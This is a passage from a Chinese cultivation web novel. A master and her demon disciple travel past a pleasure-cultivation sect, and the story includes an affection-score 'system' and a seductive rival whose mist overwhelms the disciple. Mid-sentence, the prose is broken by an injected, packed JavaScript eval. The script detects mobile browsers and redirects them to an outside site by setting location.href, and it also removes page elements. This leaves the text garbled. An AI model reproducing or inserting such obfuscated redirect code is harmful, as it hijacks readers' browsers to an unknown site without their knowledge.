跟前直愣愣跪着个不孝徒,光都被挡着了。 伤还没养好,崔扶仙这会儿有些不舒服:“愣着做什么?滚过来睡觉。” 住客栈可以分开,但在野外以防出现变故,她向来容忍小魔靠至身旁。 思绪中断,崔满悄然撇了下嘴,从地上爬起来走去师尊右侧两尺处抱着双腿坐下,下巴搁在膝盖上、把自己缩成一个球。 瞥了小魔一眼,崔扶仙没做声。 果然,月挂枝头、叶凝寒露,一坨睡得迷迷糊糊的小魔头闻着味儿滚了过来,直至将脑袋放肆枕到女人腿上后才彻底舒展眉心。 她把脸颊埋在女人腹部,滚得乱糟糟的辫子与群青色长纱混在一起,不知道自己犯了什么蠢,大概还在梦里咬牙切齿地想着怎么报复师尊。 只是往常会为她顺顺毛、梳梳辫子的手迟迟不来,小魔不舒服地皱起鼻子。 【好感度:-155】 “没出息的东西。” 有人低眸瞧着她被压得微微泛红的脸颊,一边撒去安神香一边捏住她的鼻尖,似乎笑了下,却在骂她,声音里什么情绪都听不出来。 熟悉的手心终于落至小魔脑袋上。 早已被关闭的透明界面无声闪烁,最后定格。 【好感度:-99.5】 没有再看蜷缩躺在腿上呼呼大睡的小魔,崔扶仙靠着树干遥遥望向被林间雾气遮掩模糊的远方,喜怒皆化作云烟消散,凤眸中一派平静,慢慢思索未来该如何破局。 幸而自始至终她最信任的只有她自己。 若将希望全部寄托于旁人、又碰上这么个狼心狗肺的小魔头,怎么死的都不知道。 任务时限剩下三十余年,保证崔满存活的前提下她必须尽快炼化出妖丹、掌握涅槃之术,以备天道契约反噬之际能够死里逃生。 至于系统…… 照常封锁神识,崔扶仙瞳孔动了动。 好感度为负、攻略值为零,几乎意味着任务失败,可系统好似完全不担心。 天道使者如果对任务成败与否并不在意,当初为何要绑定她、与她订立契约? ——————— 邻接魔域的是玄州,由修士驻守边界,以防魔族入侵。 昆仑位居赤水,还要向北走。而玄州最南端是隔绝人域与魔域的域海,此处盘踞着蓬莱仙境,崔扶仙带崔满回昆仑的途中难免要经过蓬莱所管辖的领域。 蓬莱仙境所辖之地不设城主,仅划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14903374|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分三十六宫,由各宫宫主座下护法负责理事。因为临近边界,这里对路过修士检查得比别处要严格,她们穿越域海后一路走来,已经过三层盘查。 大概是贺知雪与蓬莱之人打过招呼,崔扶仙出示峰主玉牌表明身份后负责检查的修士倒还客气,并未太过纠缠,确认过身份就放她们进去,另送了些当地特产。 大多是吃的与玩的,崔扶仙不感兴趣,全丢给小魔处理。 走出山脉再行一段路就要进入极情宫地界。 身后咔嚓咔嚓的声音响个不停。 忍无可忍,崔扶仙驻足回眸:“别给它喂了,它不饿。” 正捏着条小鱼干哄小雀吃,崔满腮帮鼓鼓囊囊地嚼个不停,闻言后动作一顿,暗想师尊管得真宽,既而慢吞吞收回手、将小鱼干塞进自己嘴里。 小魔乖乖点头,含含糊糊道:“师尊,我知道了。” 被崔满撒娇得没办法,只得勉强凝出望舒陪她玩儿。崔扶仙现在满嘴都是鱼肉干的咸腥味,不轻不重瞪了小魔一眼,转身时连吃两颗莲子糖才将味道压下去。 又走几步路,酥麻感在脊骨处蔓延,她闭目冷冷警告:“崔满,不许摸它的翅膀和背脊。” 许是妖化的缘故,崔扶仙与望舒之间的联系愈发紧密,望舒这个化身感知到的触觉好似会乘以数倍反馈到她身上。 怎么又不能喂、又不能摸? 小魔不太高兴,轻声嗯了下,手指头调转方向。 这下不是背脊发软,是身前陡然生出股被人放肆揉弄的荒谬感。 崔扶仙紧紧抿唇,额角抽动,连话都不想说。 袖中指尖微动,她弹去灵力将小魔头双手捆住,由望舒叼起灵绳在前头飞。 如此一瞧,好似小雀俘虏了一只小魔。 崔满惊诧睁大眼睛,被拽得一个踉跄,想要发怒又不敢,小声抗议:“师尊,您欺负我。” 前面的人嗤了声:“谁让你的手这么不老实?” 话音方落,被小魔揉成团蓬松棉花的小雀抖抖毛发,眯着蓝眼睛飞来啄了下小魔头的脑袋。 好心顺毛惨遭背叛,崔满小发雷霆,用气音指控:“望舒!你也欺负我!” 谁睬她,一人一鸟毫无动容。 远远望见空中若隐若现地浮着层薄薄粉雾,崔扶仙拧了拧眉,飞在上边的小雀亦露出防备之姿叼着灵力绳落至小魔肩上。 敏锐察觉不对劲,崔满站在师尊侧后方,随师尊一同抬头看去。刚要说话便听脑中沉寂好一段时日的残魂蓦然咦了下,声音里藏不住虚弱,却满是玩味:【极情道,还正要突破。崔扶仙带你来合欢宗做什么?】 什么合欢宗? 小魔不想理她:【这是蓬莱极情宫。】 残魂不屑:【不就是合欢宗,换了个好听的名头而已。】 亦发觉前方有大能渡劫,身边带着崔满,若再继续穿行未免冒险。崔扶仙取出灵图查看附近能绕过去的路线,随即侧身走至崔满身旁按住她的肩膀:“不走这里,绕道。” 在这种事情上很有自知之明,小魔听从师尊的话,没有异议。 可就在她们转身之时远处猛地袭来阵粉雾。 眸色一厉,崔扶仙腰间长剑豁然出鞘,破浪般将粉雾自中央一斩为二,又以宽袖遮掩崔满大半张脸颊,低呵:“屏气!” 小魔连忙抬袖死死捂住口鼻。 “这么防着我做什么?” 粉雾被斩裂,飘然落至不远处凝做一个身姿婀娜的女修模样。 这人穿着身貌似正经的道袍,墨发以银簪松松挽起,手持拂尘,媚眼如丝:“孤月,好久不见。终于想通了,愿意与我双修了?” 她站没个站相,道袍下未着寸缕、侧边还开了叉,两条腿便那样漏去大半。更别提领口处大大方方敞着,仅能遮住些敏感处。 只瞧了一眼便飞快收回视线,小魔眼观鼻鼻观心地低下眸,不知为何的,感觉身上好像莫名开始发热。 许是从未见过如此浪荡之人,她往师尊身后挪了一步。 崔扶仙不比小魔懵懂,此时皱眉看去,难得明晃晃地露出些嫌弃之色:“把衣服穿好,这儿还有孩子。” 来者修为已至合体后期,并不怕她,笑眯眯扫了躲在后头的小魔一眼:“看样子已经成年,算不得孩子,也该晓得情事了。呀,长得倒挺俊俏,不如你将她留下给我调教调教?” 腰后的衣裳被人揪起很小一个角,崔扶仙感觉到小魔又朝自己靠了靠,以为她在害怕,亦对来者厌恶,当即挥袖袭去一道凌厉剑气:“放肆。她是我座下亲传,不是你宫里小奴。” 拂尘轻扬,粉雾凝做花团虚影,以柔克刚地吞去这一击。 谢吟春不怒反笑,细长狐狸眼轻挑,若有所悟:“孤月,你受伤了,修为也倒退了。” 崔扶仙持剑而立,漠然道:“对付你绰绰有余。” 话罢,她不欲再与这人纠缠,刚要叫上崔满绕道,却在余光扫去时恰巧瞥见小魔软绵绵倒下的身形。 “小满?” 敏捷接住小魔,崔扶仙蹙眉定睛一看,搂在崔满腰间的手骤然僵住,放也不是,不放也不是。 小魔满脸潮红,杏眼里泪水涟涟,死死咬着唇瓣不肯吭声,此时浑身都在颤抖,不自觉地想要往崔扶仙身上贴。 与师尊对视后崔满动了动嘴角,却没有吐出一个字,眉宇间分明慢慢爬上些青涩且不知所措的难耐之色。